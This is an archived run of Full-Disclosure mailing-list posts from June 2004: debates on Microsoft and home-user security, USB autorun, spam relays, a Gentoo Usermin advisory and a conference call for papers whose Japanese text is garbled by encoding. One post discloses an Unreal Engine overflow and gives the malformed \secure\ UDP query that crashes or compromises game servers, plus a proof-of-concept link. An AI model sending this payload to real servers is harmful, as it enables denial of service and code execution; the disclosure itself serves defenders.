was a wiring guy that had picked up an extra task. Had no clue what a patch
was let alone wondering if the PC was patched even though the little balloon
was sitting there saying there were updates to install. I think if I said
firewall he would have a nightmares of running cable between a garage and a
house and properly repairing the hole he made in the garage firewall (fire
break) so that it was back up to building code...

So what I am saying is, I think the ISPs need to share some of the
responsibility of hooking people up safely, don't just plug them in. If they
already have to come into the home or at the very least you talk to them on
the phone, push firewalls and internet safety. The first time they come up
when they sign up, maybe scan them and see what is open and drop a friendly
hint, why I see that all of your ports are wide open and your PC named
EasyRider69 is fully visible to me... You might want to secure that.
Alternatively, have the ISP block all but say ports 25,80, and 110 by
default for every user and the user has to connect to a website of the ISP
and uncheck other ports they want opened up. That way it would take a
semi-educated user to actually use the service irregardless of the OS. If
that is too tough, set up a multiple VLAN configuration where by default the
user gets placed in babystep VLAN which only has a couple of basic ports and
they have to be requested to be put in the big person VLAN to get open
access.

Again however, MS is stepping up on this. Go look at XP SP2. It is a big
step in the direction to help users protect themselves. Of course of course,
they have always done bad things so they can't possibly do anything better
now. How thoughtless of me. Of course someone like yourself is so good at
coding you know that every piece of code you have ever written has been
perfect right off and no possible issues... Oh wait, you implying that means
you probably have never coded anything more complex than a basic tool if
that.

I agree that MS helped create the mass of inept users... However, I don't
see any OSes going out there creating knowledgeable users. In fact had MS
not done what it had done, I don't think we would be anywhere near where we
are right now for penetration of PCs in the home and lower costs associated
with that. I am just guessing but irregardless of what OS you are on now,
you most likely were running an MS OS at some point. Not many people start
on Mainframes and UNIX machines and went straight to non-MS offerings. Why?
Not much else existed in the home for some time. Probably the few
(relatively speaking) that can say they haven't ever run an MS OS are those
that started using computers in University and never left so always lived in
the UNIX world or Apple folks. If you had a PC at home and it wasn't an
Apple, the chances are good it had MS on it. This is slowly changing now
with the various *nix knockoffs such as BSD and Linux, but was the case for
a long time.

I look forward to BSD/Linux gathering steam and becoming better and better
and more and more accepted. For several reasons actually. First off, MS
always thrives when given good competition, it pushes itself to do better
and better which is good for computing in general because they have serious
cash to put into the endevour, not many computing places now have
multi-billion dollar R&D budgets to make home computing better. Second off,
the Linux world will have to clean up, right now it is a bit chaotic with
all of the various vendors duking it out over who is better and you having
to be really sure of what you have before you install things. It reminds me
of earlier MS days with Win9x and NT and having to figure out what you had
so you knew what you could install. It is a pain in the butt when consulting
for large companies when they are trying to figure it out because not only
is it a case of figure out if you want Linux or Windows, it is which flavor
of Linux do you want. Just dilutes the whole thing. Yes yes choice is good
blah blah blah. Sometimes though in the committee driven worlds of corporate
America, a multitude of choices can be a bad thing.

> You'll have to pardon me if I don't shit myself
> repeatedly in fits of white-knuckle anticipation
> of the next version.

You sound like a jilted lover here. Not someone looking for the computing
world to get better.

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of robcomcast.net
Sent: Thursday, June 17, 2004 5:42 PM
To: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] MS Anti Virus?

On Thu, Jun 17, 2004 at 11:51:46AM -0400, joe wrote:
> However the worms would be blocked if people had patched their machine
> or otherwise properly administrated the machines they were responsible
> for. All of the worms that I think you are probably referring to all
> had patches well in advance of the worm that impacted it, blaster,
slammer, sasser, etc.
>
> Home users never should have been impacted as they should be running
> firewall software on the internet connections. The fact that they
> don't isn't MS's fault, however MS is stepping up with XP SP2 to help
> out. On top of that they should be patching when necessary.
[snip]
> Thinking that there will never be code patches required isn't realistic.
[snip]

Can you explain how it's realistic to expect the millions of home Windows
users out there now to know how to properly administrate their systems?

If anything that's been discussed here so far is unrealistic, that must top
the list. They're only starting to get the message that patching is
necessary. Very arguably, Microsoft helped create this culture of
technically inept users who view the computer like any other household
appliance. And now what? It plans to force-feed basic computer security
training and earthshaking updates down the throats of the same users to whom
it's been spoon-feeding computing-through-ignorance babyfood for years and
years?

You say "the worms would be blocked if users would..." I say the worms
wouldn't exist in the first place if Microsoft had written their software
securely. It's easy for both of us to say, but which is easier to actually
*do*? Microsoft has little control over what end users do, but it has
complete control over the design, quality, and configuration of the software
it ships. With the resources and market share they have, they ought to be
leading the industry.
Instead, they are the armpit of the industry.

Folks who have been paying attention o'er the years know the same lies,
half-truths, and PR maneuvering they hear today that they heard back then.
"It'll be fixed in the next version", eh? You'll have to pardon me if I
don't shit myself repeatedly in fits of white-knuckle anticipation of the
next version.

---

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] USB autorun function

From: Harlan Carvey (keydet89yahoo.com)
Date: Fri Jun 18 2004 - 12:43:52 CDT

--- Evil Wrangler <wranglernetpublishing.com> wrote:
> I want to say how flattered I am to have generated
> so much discussion
> from my little 2600 article. I welcome all
> corrections and additions.
>
> Information should be free!

Okay, how about this request then...can you provide
enough details (ie, manufacturer and model number of
your USB drive, "victim" OS and patch level,
NoDriveType Registry setting on the 'victim' system,
etc.) so that your 2600 article can be replicated?

Can that information be free???

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] USB Auto run function

From: Ron DuFresne (dufresnewinternet.com)
Date: Fri Jun 18 2004 - 11:49:20 CDT

And boild down to pretty much this;;

This is old news though, security 101 kind of stuff. Just because a new
toy comes out does not imply it should not play by the rules of the other
toys in the chest. If this is found in an audit then the company that
hired you has real policy issues for you to outline to them and they will
then need to address.

Thanks,

Ron DuFresne

On Fri, 18 Jun 2004, Oscar Fajardo Sanchez wrote:

>
> This issue has been discused in pentest list. Take a look at:
>
> http://archives.neohapsis.com/archives/sf/pentest/2004-05/0136.html
>
> Regards.
>
> ----- Original Message -----
> From: "Aditya, ALD [ Aditya Lalit Deshmukh ]"
> <aditya.deshmukhonline.gateway.technolabs.net>
> Date: Friday, June 18, 2004 10:36 am
> Subject: Re: [Full-Disclosure] USB Auto run function
>
> > > I have been interested in a potential exploit that may or may
> > not be an
> > > issue, I read lately that a potential malicious file could enter
> > a system
> > > via a USB Memory stick with a structured autorun.pif , and this
> > file would
> > > operate even if the screen lock is activated .
> >
> > this is true only for cdroms where the autorun has been enabled,
> > winxp does scan for the removable drives but does not run the
> > program based on the autorun but the type of files on the
> > reemovable drive
> >
> > -aditya
> > ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
> > éb½êÞvë"ž axZÞx÷«²‰Ú”Gb¶*'¡óŠ[kj¯ðÃæj)m­ªÿr‰ÿ
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> -----------------------------------------------------------------
> This e-mail and the documents attached are confidential and intended solely
> for the addressee; it may also be privileged. If you receive this e-mail
> in error, please notify the sender immediately and destroy it.
> As its integrity cannot be secured on the Internet, the Atos Origin group
> liability cannot be triggered for the message content. Although the
> sender endeavours to maintain a computer virus-free network, the sender does
> not warrant that this transmission is virus-free and will not be liable for
> any damages resulting from any virus transmitted.
>
> "Este mensaje y los ficheros adjuntos pueden contener información
> confidencial destinada solamente a la(s) persona(s) mencionadas
> anteriormente. Pueden estar protegidos por secreto profesional Si usted
> recibe este correo electrónico por error, gracias de informar inmediatamente
> al remitente y destruir el mensaje.
> Al no estar asegurada la integridad de este mensaje sobre la red, Atos
> Origin no se hace responsable por su contenido. Su contenido no constituye
> ningún compromiso para el grupo Atos Origin, salvo ratificación escrita por
> ambas partes.
> "Aunque se esfuerza al máximo por mantener su red libre de virus, el emisor
> no puede garantizar nada al respecto y no será responsable de cualesquiera
> daños que puedan resultar de una transmisión de virus"
> ------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity. It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
        ***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D. Just don't touch anything.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] M$ Getting Better?

From: Eric Paynter (ericarcticbears.com)
Date: Fri Jun 18 2004 - 12:51:03 CDT

On Fri, June 18, 2004 8:05 am, Robert Guess said:
> After reading the M$ AV thread I have to give my $2 (inflation)...
>
> Yes, Microsoft is improving... but I like to explain it as follows:
> "If a criminal goes from committing murder to robbing 7-11's does it
> mean that they are a good person? After all, they are getting better."

Perhaps instead of getting better (implies good++) we should say becoming
less bad (implies evil--)...

-Eric

--
arctic bears - affordable email and name services yourdomain.com
http://www.arcticbears.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [ GLSA 200406-15 ] Usermin: Multiple vulnerabilities

From: Thierry Carrez (koongentoo.org)
Date: Fri Jun 18 2004 - 13:31:24 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-15
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Usermin: Multiple vulnerabilities
      Date: June 18, 2004
      Bugs: #54030
        ID: 200406-15

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Usermin contains two security vulnerabilities which could lead to a
Denial of Service attack and information disclosure.

Background
==========

Usermin is a web-based administration tool for Unix. It supports a wide
range of user applications including configuring mail forwarding,
setting up SSH or reading mail.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-admin/usermin <= 1.070-r1 >= 1.080

Description
===========

Usermin contains two security vulnerabilities. One fails to properly
sanitize email messages that contain malicious HTML or script code and
the other could allow an attacker to lock out a valid user by sending
an invalid username and password.

Impact
======

By sending a specially crafted e-mail, an attacker can execute
arbitrary scripts running in the context of the victim's browser. This
can be lead to cookie theft and potentially to compromise of user
accounts. Furthermore, an attacker could lock out legitimate users by
sending invalid login information.

Workaround
==========

There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version.

Resolution
==========

Usermin users should upgrade to the latest version:

    # emerge sync

    # emerge -pv ">=app-admin/usermin-1.080"
    # emerge ">=app-admin/usermin-1.080"

References
==========

  [ 1 ] Bugtraq Announcement
        http://www.securityfocus.com/bid/10521
  [ 2 ] SNS Advisory

http://www.lac.co.jp/security/csl/intelligence/SNSadvisory_e/75_e.html

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-15.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFA0zT8vcL1obalX08RAs/oAJ9pWiaefGSPPaQw7zwpw0p4qy2vAQCbBr/T
JGv0HPGPWzZ/UxP2A0WhrFE=
=K3MM
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Ben Timby (aspwebexc.com)
Date: Fri Jun 18 2004 - 13:22:11 CDT

I think everyone missed Nick's point. Since reversers work for the
competition, don't you think they would find and use the M$ undocumented
API? M$ would not be dumb enough to try it, since their competition in
this market is comprised of reverse engineers, who would simply
"counter-innovate" by using the M$ API :-).

Nick FitzGerald wrote:

> Valdis.Kletnieksvt.edu wrote:
>
>
>>Naah.. They'd never use an undocumented API to benefit their product at the
>>expense of the competition, would they? ;)
>
>
> In this case, no.
>
> Given that a lot of AV technical work is reverse engineering and that
> most of the best AV reversers are not among those MS "acquired" from
> RAV or who have joined MS from other AV developers subsequently (not
> that they haven't got some very good reversers, just there are still an
> awful ot of them elsewhere), I doubt even MS is stupid enough to
> consider trying something like this.
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Code execution in the Unreal Engine through \secure\ packet

From: Luigi Auriemma (aluigiautistici.org)
Date: Fri Jun 18 2004 - 15:05:32 CDT

#######################################################################

                             Luigi Auriemma

Application: Unreal Engine
              http://unreal.epicgames.com
Vulnerable games:
              - DeusEx <= 1.112fm
              - Devastation <= 390
              - Mobile Forces <= 20000
              - Nerf Arena Blast <= 1.2
              - Postal 2 <= 1337
              - Rune <= 107
              - Tactical Ops <= 3.4.0
              - TNN Pro Hunter (?)
              - Unreal 1 <= 226f
              - Unreal II XMP <= 7710
              - Unreal Tournament <= 451b
              - Unreal Tournament 2003 <= 2225
              - Unreal Tournament 2004 < 3236
              - Wheel of Time <= 333b
              - X-com Enforcer
NOT vulnerables:
              - America's Army
              - Dead man's hand
              - Magic Battlegrounds
              - Rainbow Six: Raven Shield
              - Splinter Cell: Pandora tomorrow
              - Star Trek: Klingon Honor Guard
              - Unreal Tournament 2004 >= 3236
              - XIII
Platforms: Windows, Linux and MacOS
Bug: memory overwriting with possible code execution
Risk: critical
Exploitation: remote, versus servers
Date: 18 June 2004
Author: Luigi Auriemma
              e-mail: aluigialtervista.org
              web: http://aluigi.altervista.org

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

The Unreal engine is the famous game engine developed by EpicGames and
currently is the most used in the videogames world.
Who doesn't know the great Unreal series???

#######################################################################

======
2) Bug
======

Almost all the games based on the Unreal engine support the "secure"
query.
This type of query is part of the so called Gamespy query protocol and
is used to know if the game server is able to calculate an exact
response using a provided string:
  http://unreal.epicgames.com/IpServer.htm
  http://aluigi.altervista.org/papers/gsmsalg.h

The query is a simple UDP packet like \secure\ABCDEF
If an attacker uses a long value in his secure query, in the Unreal
based game server will be overwritten some important memory zones.

Both remote code execution and spoofing are possibles.

#######################################################################

===========
3) The Code
===========

http://aluigi.altervista.org/poc/unsecure.zip

or send a similar UDP packet to the query port of the game server:

\secure\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...aaaa

#######################################################################

======
4) Fix
======

The bug has been noticed to EpicGames over 3 weeks ago.
Currently only UnrealTournament 2004 has been fixed with the recent
3236 patch.
Check the homepages of the other vulnerable games for possible future
fixes.

However fixing the problem should be enough simple, at least for who
has experience with the UnrealScript language.
In fact the instructions that manage the \secure\ query and pass its
value to the bugged function are written in UnrealScript code and are
located in the files IpDrv.u or IpServerver.u (they depend by the used
engine version).

#######################################################################

---
Luigi Auriemma
http://aluigi.altervista.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Akamai DDoS sophistication

From: Kristian Hermansen (khermansenht-technology.com)
Date: Fri Jun 18 2004 - 08:24:04 CDT

Does anyone have details on why the Akamai DDoS attack was so
sophisticated and what components of it were unique? Here's a quote for
reference:

--snip--
Leighton provided few additional details, except that the attack was
coordinated, large and sophisticated. The volume of traffic was
unprecedented even for a company that "sees a lot of attacks," he said.

"It had components that we had not seen before," he said, declining to
comment further.
--snip--

--
Kristian Hermansen <khermansenht-technology.com>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

Valdis.Kletnieksvt.edu
Date: Fri Jun 18 2004 - 14:17:00 CDT

On Fri, 18 Jun 2004 07:31:26 EDT, Larry Seltzer <larrylarryseltzer.com> said:

> SMTP AUTH cracking and using the ISP account? Not that it can't and won't be done, but
> I'm aware of no actual examples. Could you cite one please?

There's at least one piece of malware out there that tries to use the
default passwords for a number of accounts on an Outlook server to
gain access to use it as a spam relay. The name escapes me, but
a few minutes of googling should find it...

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA0z+scC3lWbTT17ARAndOAJ4/8sH9/UmdkvPx0CEQSCYSyoMoKQCgrwQt
qisJexg1iD0yqZY2YRbfmjw=
=ts6a
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Spam Solution

From: Larry Seltzer (larrylarryseltzer.com)
Date: Fri Jun 18 2004 - 14:18:38 CDT

>>There's at least one piece of malware out there that tries to use the default
passwords for a number of accounts on an Outlook server to gain access to use it as a
spam relay. The name escapes me, but a few minutes of googling should find it...

Well of course there's no such thing as an "Outlook server" but are you saying that it's
hard-coded to specific accounts on specific servers? Obviously it would be shut down
quickly.

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzerziffdavis.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Spam Solution

James.Cuppssappi.com
Date: Fri Jun 18 2004 - 14:49:52 CDT

Isn't there a variant of THC-Hydra that does this? Brute forcer not malware
but if its code has it then others might.

James Cupps
Information Security Officer

-----Original Message-----
From: Valdis.Kletnieksvt.edu [mailto:Valdis.Kletnieksvt.edu]
Sent: Friday, June 18, 2004 3:17 PM
To: Larry Seltzer
Cc: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] Spam Solution

On Fri, 18 Jun 2004 07:31:26 EDT, Larry Seltzer <larrylarryseltzer.com>
said:

> SMTP AUTH cracking and using the ISP account? Not that it can't and won't
be done, but
> I'm aware of no actual examples. Could you cite one please?

There's at least one piece of malware out there that tries to use the
default passwords for a number of accounts on an Outlook server to
gain access to use it as a spam relay. The name escapes me, but
a few minutes of googling should find it...
This message may contain information which is private, privileged or
confidential and is intended solely for the use of the individual or entity
named in the message. If you are not the intended recipient of this message,
please notify the sender thereof and destroy / delete the message. Neither
the sender nor Sappi Limited (including its subsidiaries and associated
companies) shall incur any liability resulting directly or indirectly from
accessing any of the attached files which may contain a virus or the like.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

Valdis.Kletnieksvt.edu
Date: Fri Jun 18 2004 - 14:42:30 CDT

On Fri, 18 Jun 2004 13:22:11 CDT, Ben Timby <aspwebexc.com> said:
> I think everyone missed Nick's point. Since reversers work for the
> competition, don't you think they would find and use the M$ undocumented
> API? M$ would not be dumb enough to try it, since their competition in
> this market is comprised of reverse engineers, who would simply
> "counter-innovate" by using the M$ API :-).

Patent the API. Or document it with a EULA attached (remember their
documentation of their flavor of Kerberos?)... ;)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA00WmcC3lWbTT17ARAggkAKC9sO5zpWu1jwoAT7Mu/2dk4W0/UACfdvk0
h7tkT1+ew8J0peeSZ6TSoWs=
=otS9
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] pacsec.jp/core04 Call For Papers

From: Dragos Ruiu (drkyx.net)
Date: Fri Jun 18 2004 - 15:13:21 CDT

(Japanese Below)

CALL FOR PAPERS

PacSec.JP (Pacific Security)
http://pacsec.jp

Announcing the opportunity to submit papers for the PacSec/core03
network security training conference. The conference will be held
November 11/12th in Tokyo. The conference focuses on emerging
information security tutorials - it will be a bridge between the
international information security technology community and
the Japanese information security technology community.

Please make your paper proposal submissions before July 5 2004.
Slides for the papers must be submitted by October 1st 2004.
The conference is November 11th and 12th 2004, presenters need
to be available in the days before to meet with interpreters.

A number of invited papers have been confirmed, but a limited
number of speaking slots are still available. The conference is
responsible for travel and accomodations for the speakers. If you
have a proposal for a tutorial session then please email a
synopsis of the material and your biography and papers,
speaking background to core04pacsec.jp. Tutorials are
one hour in length, but with simultaneous translation should
be approximately 45 minutes in English, or Japanese.
Only slides will be needed for the October paper deadline,
full text does not have to be submitted.

The Pacific Security (PacSec) conference consists of tutorials
on technical details about current issues, innovative
techniques and best practices in the information security
realm. The audiences are a multi-national mix of professionals
involved on a daily basis with security work: security product
vendors, programmers, security officers, and network
administrators. We give preference to technical details
and education for a technical audience.

The conference itself is a single track series of presentations
in a lecture theater environment. The presentations offer
speakers the opportunity to showcase on-going research
and collaborate with peers while educating and highlighting
advancements in security products and techniques.
The focus is on innovation, tutorials, and education
instead of overt product pitches. Some commercial content
is tolerated, but it needs to be backed up by a technical
presenter - either giving a valuable tutorial and best
practices instruction or detailing significant new
technology in the products.

Paper proposals should consist of the following information:

1) Presenter, and geographical location (country of origin/passport)
   and contact info (e-mail, postal address, phone, fax).
2) Employer and/or affiliations.
3) Brief biography, list of publications and papers.
4) Any significant presentation and educational experience/background.
5) Topic synopsis, Proposed paper title, and a one paragraph description.
6) Reason why this material is innovative or significant or an
    important tutorial.
7) Optionally, any samples of prepared material or outlines ready.

Please forward the above information to core04pacsec.jp to
be considered for placement on the speaker roster.

講演論文募集
 
PacSec.JP (Pacific Security)
http://pacsec.jp
 
ç¾åœ¨ã€PacSec/core03 ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ãƒ»ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ã€€ãƒˆãƒ¬ãƒ¼ãƒ‹ãƒ³ã‚°ãƒ»ã‚«ãƒ³ãƒ•ã‚¡ãƒ¬
ンス開催ã«å‘ã‘ã¦ã€è«–æ–‡ã®å—付ã‘ã‚’è¡Œã£ã¦ãŠã‚Šã¾ã™ã€‚åŒã‚«ãƒ³ãƒ•ã‚¡ãƒ¬ãƒ³ã‚¹ã¯ã€2004
å¹´11月11æ—¥(木)ã€12æ—¥(金)ã®äºŒæ—¥é–“ã«ã‚ãŸã‚Šæ±äº¬ã§é–‹å‚¬ã•ã‚Œã€ä¸»ã«å…ˆç«¯æƒ…報セキュリティã®ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«ã‚’é‡ç‚¹çš„ã«å–り上ã’ã¾ã™ã€‚ã¾ãŸã€æ—¥æœ¬ã¨æƒ…報セキュリテ
ィ技術ã®å›½éš›ç¤¾ä¼šã‚’çµã¶ã€Œæž¶ã‘æ©‹ã€ã«ãªã‚‹ã“ã¨ã‚’目的ã¨ã—ã¦ã„ã¾ã™ã€‚
 
カンファレンスã«ãŠã‘る講演論文発表ã®ç”³ã—è¾¼ã¿å—付ã‘ã®ç· ã‚切りã¯ã€2004å¹´7月5
æ—¥(土)ã¨ã•ã›ã¦ã„ãŸã ãã¾ã™ã€‚スライドã®æœ€çµ‚æ出日ã¯ã€2004å¹´10月1æ—¥(ç«)ã§ã™ã€‚
当日ã€é€šè¨³ãŒå¿…è¦ãªæ–¹ã¯ã€ã‚«ãƒ³ãƒ•ã‚¡ãƒ¬ã‚¹é–‹å‚¬æ—¥ã®æ•°æ—¥å‰ã«ã€æ‰“åˆã‚ã›ã®ãŸã‚多少ãŠæ™‚間を用æ„ã—ã¦é ‚ãå¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚
 
招待å‚加者ã«ã‚ˆã‚‹è«–æ–‡ã¯å¤šæ•°ç¢ºå®šæ¸ˆã¿ã§ã™ãŒã€å½“æ—¥ã®è¬›æ¼”æž ã«ãŠã„ã¦ã¯å¤šå°‘ã®äºˆå‚™æž ãŒã‚る為ã€ç¾åœ¨è¬›æ¼”者を募集ã—ã¦ã„ã¾ã™ã€‚講演日ã®äº¤é€šè²»ãŠã‚ˆã³å®¿æ³Šç­‰è¨­å‚™ã¯ã€ä¸»å‚¬è€…å´
ã§è²¬ä»»ã‚’æŒã£ã¦æ‰‹é…致ã—ã¾ã™ã€‚ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«ãƒ»ã‚»ãƒƒã‚·ãƒ§ãƒ³ã§ã®è¬›æ¼”を希望ã•ã‚Œã‚‹æ–¹ã¯ã€è¬›æ¼”マテリアルã€è«–æ–‡ã®å†…容ã€åŠã³çµŒæ­´ã€è¬›æ¼”経験ã®æ¦‚è¦ã‚’ã€
core04pacsec.jp è¿„ã€é›»å­ãƒ¡ãƒ¼ãƒ«ã«ã¦ãŠé€ã‚Šä¸‹ã•ã„。
講演ã¯ã€ä¸€äººã‚ãŸã‚Š1時間を予定ã—ã¦ãŠã‚Šã¾ã™ãŒã€åŒæ™‚通訳ãŒå¿…è¦ãªå ´åˆã€è‹±èªžã¾ãŸã¯æ—¥æœ¬èªžã«ã‚ˆã‚‹è¬›æ¼”時間ã¯ã€ç´„45分間ã¨ãŠè€ƒãˆä¸‹ã•ã„。
å°šã€ã‚¹ãƒ©ã‚¤ãƒ‰ã®ç· ã‚切りã¯10月7æ—¥(ç«)ã¨ã•ã›ã¦é ‚ã„ã¦ãŠã‚Šã¾ã™ãŒã€ãã®éš›ã«è«–æ–‡ã®å…¨æ–‡ã‚’æ出ã—ã¦ã„ãŸã ãå¿…è¦ã¯ã”ã–ã„ã¾ã›ã‚“。
 
Pacific Security (PacSec) カンファレンスã¯ã€æƒ…報セキュリティã«é–¢ã™ã‚‹ç´°ã‹ã„技術やã€æœ€è¿‘ã®ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£å•é¡Œã€æ–¬æ–°çš„ãªãƒ†ã‚¯ãƒ‹ãƒƒã‚¯ã€åŠã³
最もé©åˆ‡ã¨æ€ã‚れるセキュリティ対策ãªã©ã«ã¤ã„ã¦ã€ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«å½¢å¼ã«ã‚ˆã‚‹è¬›æ¼”ã«ã‚ˆã‚Šæ§‹æˆã•ã‚Œã¦ã„ã¾ã™ã€‚カンファレンスã®å‚加者ã¯ã€å¸¸ã«ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ã¨é–¢ã‚る環境
ã«ã‚ã‚Šã€ãã®åˆ†é‡Žã«ãŠã‘る専門家é”ã§ã‚ã‚Šã¾ã™ã€‚ã¾ãŸãã®å›½ç±ã‚„文化も様々ã§ã™ã€‚
セキュリティ製å“ã®ãƒ™ãƒ³ãƒ€ãƒ¼ã€ãƒ—ログラマーã€ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ãƒ»ã‚ªãƒ•ã‚£ã‚µãƒ¼ã€ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ç®¡ç†è€…ãªã©ã€å¤§å¤‰å¹…広ã„ジャンルã®äººã€…ãŒå‚加ã•ã‚Œã‚‹é–¢ä¿‚上ã€è¬›æ¼”内容ã¯ã€æŠ€è¡“çš„ã«
内容ã®æ·±ã„ã‚‚ã®ã€ã¾ãŸã¯æŠ€è¡“者ã«ã¨ã£ã¦ã‚‚有益ã¨ãªã‚‹å†…容を優先ã•ã›ã¦é ‚ãã¾ã™ã€‚
 
カンファレンスã®æ§‹æˆã¯ã€ãã‚Œãžã‚Œç‹¬è‡ªã®ãƒ—レゼンテーションを講義形å¼ã§è¡Œã„ã¾ã™ã€‚講師ã¯ã€ãã®ãƒ—レゼンテーションを通ã—ã¦ã€ç¾åœ¨é€²è¡Œä¸­ã®ç ”究ã®ç´¹ä»‹ã€ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£è£½
å“や技術製å“ã«ãŠã‘ã‚‹æ›´ãªã‚‹æ•™è‚²ã€å‘上ã«ã¤ã„ã¦å¤šãã®ã‚¨ã‚­ã‚¹ãƒ‘ートé”ã¨æƒ…報交æ›ã‚’ã™ã‚‹å ´ã‚’æŒã¤äº‹ãŒå‡ºæ¥ã‚‹ã®ã§ã™ã€‚
 
プレゼンテーションã¯ã€æ˜Žç™½ã«ç‰¹å®šã®è£½å“を宣ä¼ã™ã‚‹ã‚ˆã†ãªå†…容ã§ã¯ãªãã€æŠ€è¡“é©æ–°ã€ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«ã€æ•™è‚²çš„ãªã‚‚ã®ã«é‡ç‚¹ã‚’ãŠã„ã¦ä¸‹ã•ã„。
商用的ãªã‚³ãƒ³ãƒ†ãƒ³ãƒ„ãŒã„ãらã‹å«ã¾ã‚Œã¦ã„ã¦ã‚‚å·®ã—支ãˆã¯ã‚ã‚Šã¾ã›ã‚“ãŒã€ãã®éš›ã¯ã€
ãã®è£½å“ã«é–¢ã™ã‚‹ã€æœ‰ç”¨ãªãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«ãŠã‚ˆã³æœ€ã‚‚é©åˆ‡ãªã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£å¯¾ç­–ã®èª¬æ˜Žã‚„ã€é‡å¤§ãªæ–°æŠ€è¡“ã®è©³ç´°ãªã©ã§è£ã¥ã‘ã‚’ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚
 
